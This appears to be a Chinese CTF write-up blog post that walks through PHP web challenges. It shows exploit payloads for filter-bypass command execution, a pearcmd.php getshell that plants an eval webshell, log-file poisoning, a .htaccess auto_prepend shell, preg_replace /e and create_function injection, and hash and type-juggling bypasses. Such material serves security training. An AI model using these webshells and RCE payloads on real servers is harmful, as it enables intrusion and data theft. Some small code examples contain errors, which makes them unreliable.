反斜杠被过滤,利用cd回到根目录

<?php
error_reporting(0);
if(isset($_GET["cmd"])){
    if(preg_match('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i',$_GET["cmd"])){
       echo "Don't Hack Me";
    }else{
        system($_GET["cmd"]);
    }
}else{
    show_source(__FILE__);
}

paylaod:

cd%09..%0Acd%09..%0Acd%09..%0A   利用三次执行cd命令回到根目录下,从而绕过了正则匹配对/的过滤

读取payload:

cd%09..%0Acd%09..%0Acd%09..%0Asort%09ffff?lllaaaaggggg    
cat tac不能用,可以利用其他的函数例如uniq,sort等
通过?可以绕过对关键字符的过滤
例如flag->fl?

利用pearcmd.php命令进行getshell(文件包含)

 <?php
error_reporting(0);
highlight_file(__FILE__);
//Can you get shell? RCE via LFI if you get some trick,this question will be so easy!
if(!preg_match("/base64|rot13|filter/i",$_GET['file']) && isset($_GET['file'])){
    include($_GET['file'].".php");
}else{
    die("Hacker!");
} 
正则匹配掉了base rot13 filter 所以不能直接去利用为协议去读取flag文件,而且也不知道flag文件的位置,所以只能进行getshell

这里利用pearcmd.php命令的config-create进行getshell

config-create有两个参数,第一个参数作为文件内容写入到第二个参数的文件中

所以我们可以利用这个性质进行getshell

paylaoad:

GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
然后去访问这个文件进行命令执行
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');

伪随机数种子爆破

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
    
    hint:1219893521
isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())
这里我们要爆破出这个伪随机数的种子
然后找到合适的随机数进行绕过

php_mt_seed – MT_RAND()种子饼干 (openwall.com)随机数种子爆破工具

image-20221014112602390

得到伪随机数种子

1145146

然后进行随机数生成找到合适随机数

<?php  
mt_srand(1145146);    
echo mt_rand()."</br>";
echo mt_rand()."</br>";
echo mt_rand()."</br>";

最终找到1202031004

但是正则匹配把base64过滤掉了,所以这里可以使用rot13编码,同时正则匹配要求在file中匹配到newstar

preg_match("/NewStar/i",$_GET['file'])

所以构造payload:

POST: guess=1202031004
GET: /?file=php://filter/string.rot13/newstar/resource=flag.php

例题:

VvXtoPqSDI

抽奖,就是那么枯燥且无味,给你NSSCTF{925c19db-e2bd-4893-8194-721e0a02fa83}
<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 
mt_rand()这个函数来说,它本质上来说是一个伪随机,因此如果它的种子是固定的,那么出现的随机数也是固定的
所以我们可以根据给出的随机数的通过特性爆出随机数,这里爆出随机数后将其转换成python能够识别的阵列

exp:

<?php
$str1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str2 = "VvXtoPqSDI";

$len = strlen($str1)-1;

for($i=0;$i<strlen($str2);$i++){
    for($j=0;$j<=$len;$j++){
        if($str1[$j] == $str2[$i]){
            echo "$j $j 0 $len ";
            break;
            }
        }
}
?>

使用工具爆破种子:

image-20221015175702936

然后根据随机数种子生成随机数

exp:

<?php
mt_srand(464527172);  //自己的种子seed  
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str = '';
$len1 = 20;
for($i=0;$i<$len1;$i++){
    $str .= substr($str_long1,mt_rand(0,strlen($str_long1)-1),1);
}
echo $str;
?>

自增逃逸

<?php
error_reporting(0);
if (isset($_GET['hint'])) {
    highlight_file(__FILE__);
}
if (isset($_POST['rce'])) {
    $rce = $_POST['rce'];
    if (strlen($rce) <= 120) {
        if (is_string($rce)) {
            if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", $rce)) {
                eval($rce);
            } else {
                echo("Are you hack me?");
            }
        } else {
            echo "I want string!";
        }
    } else {
        echo "too long!";
    }
} 

这道题把大多数可用字符给过滤了,而且把英文字符都给过滤了,所以

异或,或,这些绕过方法都不能使用,但是可以使用自增

自增的话,由于英文字符都给过滤完了,所以要想办法构造出来英文字符

这里要用到php的一个特性

在这里插入图片描述

这里主要用到的是在php中如果强制连接数组和字符串的话,数据将被转换成字符串Array,取字符串的值,我们就可以得到一个字母,从而进行自增.
自增也就是变量自增

在这里插入图片描述

首先查看可用字符

<?php
for($a = 0; $a < 256; $a++){
    if (!preg_match("/[!@#%^&*:'\-<?>\"\/|`a-zA-Z~\\\\]/", chr($a))){
        echo chr($a)." ";
    }
}
?>

image-20221014170039620

基本都给过滤了,但是这些字符还可以用

$ ( ) + , . 0 1 2 3 4 5 6 7 8 9 ; = [ ] _ { }

利用php特性构造出Array

<?php
$_=[];
$_=''.[];//返回一个值array

通过去array字符串值,进行自增从而构造出可以执行的shell

$_=[];$_=''.[];
$_=$_[0];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;
$_++;//F
$___=++$_;//G
$_++;   
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;
$_++;//Q
$_++;//R
$_++;//S
$____=++$_;//T
$_=_.$___.$__.$____;//_GET
$_=$$_{1};

构造出后进行url编码。

<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\^','\~','\|'];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("小伙子只会异或和取反?不好意思哦LTLT说不能用!!");
    }}
if(preg_match('/[a-zA-Z0-9]/is',$wllm))
{
    die("Ra'sAlGhul说用字母数字是没有灵魂的!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
    echo "蔡总说:注意审题!!!";
} 
异或和取反都被过滤了,所以这里可以使用自增
paylaod:
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
构造出:assert($_POST[_]);
然后post输入
    _=file_put_contents('1.php',"<?php print_r(ini_get('open_basedir').'<br>'); mkdir('test'); chdir('test'); ini_set('open_basedir','..'); chdir('..'); chdir('..'); chdir('..'); ini_set('open_basedir','/'); echo file_get_contents('/flag'); print(1);?> ");
然后去访问这个文件1.php

image-20221015162353542

日志文件包含漏洞

<?php
//WEB手要懂得搜索

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|flag|data|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=/i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
} 

正则匹配把php伪协议能用的都给过滤,所以直接使用php伪协议进行包含读取flag文件时不行的
这里可以使用日志文件包含

通过产生报错,可以看到题目使用的服务器是nginx,访问默认日志文件

image-20221014183207947

通过返回信息可以看到日志文件记录了传入参数的值以及user-agent的值

但是由于file通过正则匹配过滤了php所以我们无法在url参数里面直接写入木马,但是user-agent位置并没有进行过滤,所以我们可以在这里进行注入

可以通过包含这个日志文件,然后在user-agent报文里面添加木马,进行注入

image-20221014183951094

通过执行phpinfo();发现以及执行成功。

image-20221014184516671

create_function函数代码注入

<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";

$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
    show_source(__FILE__);
}
else{
    $a('',$b);
}
这个题目没有create_function函数,但是我们可以把参数a的值赋值为create_function函数在参数b进行代码注入
payload:
\create_function&b=}phpinfo();//

image-20221015134601653

数组绕过sha1强碰撞,弱类型比较

<?php
highlight_file(__FILE__);
include "./flag.php";
include "./result.php";
if(isset($_GET['aaa']) && strlen($_GET['aaa']) < 20){

    $aaa = preg_replace('/^(.*)level(.*)$/', '${1}<!-- filtered -->${2}', $_GET['aaa']);

    if(preg_match('/pass_the_level_1#/', $aaa)){   //%0a绕过
        echo "here is level 2";
        
        if (isset($_POST['admin']) and isset($_POST['root_pwd'])) {
            if ($_POST['admin'] == $_POST['root_pwd'])
                echo '<p>The level 2 can not pass!</p>';
        // START FORM PROCESSING    
            else if (sha1($_POST['admin']) === sha1($_POST['root_pwd'])){ //sha1强碰撞数组绕过
                echo "here is level 3,do you kown how to overcome it?";
                if (isset($_POST['level_3'])) {
                    $level_3 = json_decode($_POST['level_3']);
                    
                    if ($level_3->result == $result) {//弱类型比较
                        
                        echo "success:".$flag;
                    }
                    else {
                        echo "you never beat me!";
                    }
                }
                else{
                    echo "out";
                }
            }
            else{
                
                die("no");
            }
        // perform validations on the form data
        }
        else{
            echo '<p>out!</p>';
        }

    }
    
    else{
        echo 'nonono!';
    }

    echo '<hr>';
} 

base_convert函数

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 
限制了长度
过滤了空格 \t \r \n ' ` [ ]
给了函数白名单,字符串白名单
首先我们先来了解以下base_convert函数
定义和用法
base_convert() 函数在任意进制之间转换数字。

语法
base_convert(number,frombase,tobase)
参数	描述
number	必需。原始值。
frombase	必需。数字原来的进制。
tobase	必需。要转换的进制。
说明
返回一个字符串,包含 number 以 tobase 进制的表示。number 本身的进制由 frombase 指定。frombase 和 tobase 都只能在 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
实例:
<?php
$oct = "0031";
$dec = base_convert($oct,8,10);
echo "八进制的 $oct 等于十进制的 $dec。";
?>
输出:八进制的 364 等于十六进制的 f4。


image-20221015172259953

很神奇的一点,构造的高进制数字会当作字符串处理,而不是当作数字处理。
所以我们可以将通过将10进制的数转做36进制就能够绕过匹配构造出我们想要的代码

image-20221015172512165

?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})(传入1,2是因为单一一个变量是无法执行的,这里利用php7的可变函数特性进行利用)

构造出_GET{1}_Get{2}执行命令

?c=$cos=base_convert(37907361743,10,36)(dechex(1598506324));($$cos){1}(($$cos){2})&1=system&2=ls;

image-20221015172827275

无参rce

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
payload:?exp=show_source(next(array_reverse(scandir(next(each(str_split(spl_autoload_extensions())))))));

prce_replace函数/e模式下的代码执行

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
	@eval($_GET['cmd']);
}

payload:
    \S*=${getFlag()}&cmd=system('ls /');
\S*是为了能够触发函数
  \S*是对任何字符都进行匹配
    触发前:preg_replace( '/(' . $re . ')/ei','strtolower("\\1")', $str);
    触发后:preg_replace('/(S*)/ie','strtolower("${getflag()}")','${getflag()}')
    最终会执行getflag()函数
        那么就可以利用getflag()函数里面的cmd进行命令执行

先看一下prce_replace的代码执行

<?php
preg_replace('/(.*)/ei', 'strtolower("\\1")', ${phpinfo()});

本地测试发现phpinfo()成功执行了

image-20221015202611411

这是因为prec_replace函数匹配到了phpinfo(),由于函数处于/e模式下,所以会造成phpinfo()代码执行

利用.htaceess文件进行代码执行

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 
  $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
这里对代码块进行了过滤,所以不能直接写入一个php文件,所以我们可以通过写入一个.htaccess文件进行绕过
    把.htaccess加载到php文件的前面,这边的话以注释的方法来写shell
php_value auto_append_file .htaccess
#<?php phpinfo();

虽然过滤了file,但我们可以用\来绕过,#应该是.hatccess文件特有的写入形式,没有的话会直接报错500
php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>\ 

末尾加个\是为了转义\n,如果不加就会变为下面这种,不符合.htaccess的规则
php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>
Hello, world

在末尾价格反斜杠会把\n前面的\给转义掉,这样就变为了如下这样:

php_value auto_prepend_fil\ 
e .htaccess 
#<?php system('cat /fla'.'g');?>nHello, world
payload:?filename=.htaccess&content=php_value auto_prepend_fil\
e .htaccess
#<?php system('ls');?>\
编码后:
?filename=.htaccess&content=php_value%20auto_prepend_fil%5C%0Ae%20.htaccess%0A%23%3C%3Fphp%20system('ls%20/')%3B%3F%3E%5C

数组绕过和hash_hmac函数的特性

<?php
if (empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])) {
    die();
}
$clandestine = getenv("clandestine");
if (isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if ($hh !== $_POST['Black-Cat-Sheriff']) {
    die();
}
echo exec("nc" . $_POST['One-ear'])

分析:第一个if判断传入的两个参数Black-Cat-Sheriff和One-ear是否为空
第二个if判断是否传入参数White-cat-monitor,进行了两次hash加密
第一次密钥是环境变量,第二次环境变量是第一次加密的结果
第三个if是判断加密值和我们输入参数是否相同
hash_hmac函数:
hash_hmac - 使用 HMAC 方法生成带有密钥的哈希值
版本支持
PHP4	PHP5	PHP7
不支持	V5.1.2+支持	支持
7.2.0 不再支持非加密的哈希函数(adler32,crc32,crc32b,fnv132,fnv1a32,fnv164,fnv1a64,joaat)。
语法
hash_hmac( string $algo , string $data , string $key [, bool $raw_output = FALSE ] )
hash_hmac() 使用 HMAC 方法生成带有密钥的哈希值
参数
参数	必需的	描述
algo	是	要使用的哈希算法名称,例如:"md5","sha256","haval160,4" 等。 如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。
data	是	要进行哈希运算的消息。
key	是	使用 HMAC 生成信息摘要时所使用的密钥。
raw_output	否	设置为 TRUE 输出原始二进制数据, 设置为 FALSE 输出小写 16 进制字符串。
hash_hmac函数特性漏洞:
如果 data是数组,就会返回错误,返回 NULL,这样就绕过了我们不知道环境变量的问题

所以最后的加密结果也是可以预见的
payload:
White-cat-monitor[]=1
&One-ear=123;cat flag.php
&Black-Cat-Sheriff=7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075
加密:
<?php
$clandestine = hash_hmac('sha256', array(), 'abc');
$hh = hash_hmac('sha256', '123;cat flag.php', $clandestine);
echo $hh;
# 7efffe428751e95b44dde414dbe2fb37d1fcf44887881dd0c179fb7f7ddbd075

变量覆盖,数组绕过,$_REQUEST, $_SERVER

<?php
highlight_file(__FILE__);
error_reporting(0);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}

if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}

if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }else{
        if(preg_match('/nctfisfun$/', $_GET['nctf']) && $_GET['nctf'] !== 'nctfisfun'){
            $getflag = file_get_contents($_GET['flag']);
        }
        if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');
    }
}


?>
分析:
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
    $_REQUEST会·获取$_REQUEST可以获取传过来的get、post参数还有cookie的值,但是$_REQUEST允许get和post同时传入参数,但是当同时传入参数时如果变量名相同,默认post的数据会覆盖get到的数据。这样就可以绕过。

变量覆盖本地测试:

测试代码:
 <?php
show_source(__FILE__);
if($_REQUEST){
    foreach ($_REQUEST as $key => $value) {
        if(preg_match('/[a-zA-Z]/i', $value))   die('waf..');
    }
}
$flag=$_GET['flag'];
echo $flag;
?> 

image-20221016151159358

这样就绕过成功了

第二个正则绕过:
if($_SERVER){
    if(preg_match('/yulige|flag|nctf/i', $_SERVER['QUERY_STRING']))  die('waf..');
}
会匹配参数中出现的正则匹配过滤的值,可以编码绕过
if(isset($_GET['yulige'])){
    if(!(substr($_GET['yulige'], 32) === md5($_GET['yulige']))){         //日爆md5!!!!!!
        die('waf..');
    }
    
    这个if判断的是参数传入的值加密前后是否一样
        这里可以采用数组绕过数组加密为null这样就可以绕过了
        
 if(isset($getflag) && $getflag === 'ccc_liubi'){
            include 'flag.php';
            echo $flag;
        }else die('waf..');


分析:判断传入的参数中是否含有ccc_liubi可以使用data为协议,但是由于要编码所以要使用
    data://text/plain;charset=unicode,ccc_liubi,使用unicode编码

payload:
?%79ulige[]=&nct%66=Nnct%66isfun&%66lag=data://text/plain;charset=unicode,ccc_liubi
post:nctf=123&flag=1
<?php
if(isset($_POST['cmd'])){
    $code = $_POST['cmd'];
    if(preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
        die('<script>alert(\'Try harder!\');history.back()</script>');
    }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
        @eval($code);
        die();
    }
} else {
    highlight_file(__FILE__);
    var_dump(ini_get("disable_functions"));
}
?>
分析:
第一个if对传入的数据进行正则匹配,过滤了数字字母还有一大堆字符
测试还有那些字符
<?php

for($i=1;$i<127;$i++){
    //print($i);
    if(!preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',chr($i))){
        echo(chr($i));
    }
    //print(chr($i));
}

#!#%()*.:;<@[\]_{}~
if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)
第二个if是无参rce的正则匹配
所以我们只能是用无参函数。
下面是一些无参函数的应用:
call_user_func
这是一个类似特殊的调用函数,把第一个参数作为回调函数调用,也就是用另一种方式进行参数传递
测试代码:
<?php
function nowamagic($a,$b)   
{   
    echo $a;   
    echo $b;   
}   
call_user_func('nowamagic', "111","222");   
call_user_func('nowamagic', "333","444");   
//显示 111 222 333 444   
?>
getallheaders()
获得所有 HTTP 变量值

image-20221016191405945

(50条消息) SCTF2021__rceme_Sk1y的博客-CSDN博客

php为协议input改变变量值

<?php
include 'flag.php';
extract($_GET);
if (isset($wsf)) {
    $xmm = trim(file_get_contents($zm));
    if ($xmm == $wsf) {
        if (!empty($xlq)) {
            $xw = trim(file_get_contents($fn));
            if ($xlq === $xw) {

                echo "<p>$flag</p>";
            } else {
                echo '<p>no no no </p>';
            }
        } else 'You cant do that!!';
    } else {
        echo 'hacker!!';
    }
} else {
    highlight_file(__FILE__);
}
?> 

image-20221017161021001

不可见字符,array_search 与 is_array绕过

 <?php
error_reporting(0);
highlight_file(__FILE__);
include "k1y.php";
include "fl4g.php";
$week_1 = false;
$week_2 = false;

$getUserID = @$_GET['user']; 
$getpass = (int)@$_GET['pass']; 
$getmySaid = @$_GET['mySaid']; 
$getmyHeart = @$_GET['myHeart']; 

$data = @$_POST['data'];
$verify =@$_POST['verify'];
$want = @$_POST['want'];
$final = @$_POST['final'];

if("Welcom"==0&&"T0"==0&&"1he"==1&&"HNCTF2022"==0)
    echo "Welcom T0 1he HNCTF2022<BR>";

if("state_HNCTF2022" == 1) echo $hint;
    else echo "HINT? NoWay~!<BR>";


if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}

if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
}
if($week_1 && $week_2){
    if(md5($data)===md5($verify))
        // ‮⁦HNCTF⁩⁦Welcome to
        if ("hn" == $_GET['hn'] &‮⁦+!!⁩⁦& "‮⁦ Flag!⁩⁦ctf" == $_GET[‮⁦LAG⁩⁦ctf]) { //HN! flag!! F
        
            if(preg_match("/php|\fl4g|\\$|'|\"/i",$want)Or is_file($want))
                die("HACK!");
       
                else{
                    echo "Fine!you win";
                    system("cat ./$want");
                 }
    }
    else
        die("HACK!");
}

?> 
分析:当两个week等于true是才能进入system


第一个week
if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r  

if($user == 114514 && $getpass == $pass){
    if (!ctype_alpha($getmySaid)) 
        die();
    if (!is_numeric($getmyHeart)) 
        die();
    if(md5($getmySaid) != md5($getmyHeart)){
        die("Cheater!");
    }
    else
        $week_1 = true;
}


if(is_string($getUserID))
    $user = $user + $getUserID; //u5er_D0_n0t_b3g1n_with_4_numb3r  
    第一个if对传入的getuserid进行判断是否为字符串
    然后会对传入的user进行拼接将user和getuserid拼接在一起
    
if($user == 114514 && $getpass == $pass)
第二个if判断user是否等于114514和判断传入的getpas是否和环境变量pass相同

 if (!ctype_alpha($getmySaid)) 
 判断传入的getmysaid是否为字母
 if (!is_numeric($getmyHeart))
 检查传入的是否为数字
  if(md5($getmySaid) != md5($getmyHeart))
  判断传入的getmysaid和getmyheart是否相同
  这里getmysaid和getmyheart可以使用加密后相同的md5和字符串
  paylaod:?user=114514&mySaid=TUFEPMC&myHeart=1586264293
  

第二个week
if(is_array($data)){
    for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    if(array_search("Probius",$data)===0)
        $week_2 = true;

    else
        die("HACK!");
}


if(is_array($data)){
检查data是否为空

 for($i=0;$i<count($data);$i++){

        if($data[$i]==="Probius") exit();

        $data[$i]=intval($data[$i]);
    }
    对data进行遍历检查是否含有Probius有的话推出并去整值
    if(array_search("Probius",$data)===0)
        $week_2 = true;
搜索data中是否含有键值Probius,有的话返回其键名,当返回的键名为0的时候第二个week为true
构造payload:data%5B%5D=&verify%5B%5D=

array_search 与 is_array绕过
is_array:判断传入的是不是一个数组,array_search(x,$数组):在数组中寻找与指定值(x)相等的值,array_search函数 类似

<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和admin相等,并且将每个值转化为int类型,再判断传入的数组是否有admin,有则返回flag

构造 test []=0

在数组test中找到了与admin相等的值0,所以=0,成功的输出flag

mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )

array_search函数 类似于==,当然如果第三个参数为true则就不能绕过。

needle,haystack必需,strict可选 函数判断haystack中的值是存在needle,存在则返回该值的键值 第三个参数默认为false,如果设置为true则会进行严格过滤


if(md5($data)===md5($verify))
构造:data%5B%5D=&verify%5B%5D=(data[]=&verify[]=)
data和verify数组都为空,md5加密后还是为空,所以就可以绕过这个强类型比较
测试代码:
 <?php
highlight_file(__FILE__);
$Username[]='0esdsdsxcz';
$password[]="0e1233";
if (md5($Username) ===md5($password)){
 echo "success";
}else{
echo "NO";
} 

image-20221018220559933

https://blog.csdn.net/weixin_45605341/article/details/109038848

版权声明:本文为JU的博客原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/GTL-JU/p/16831621.html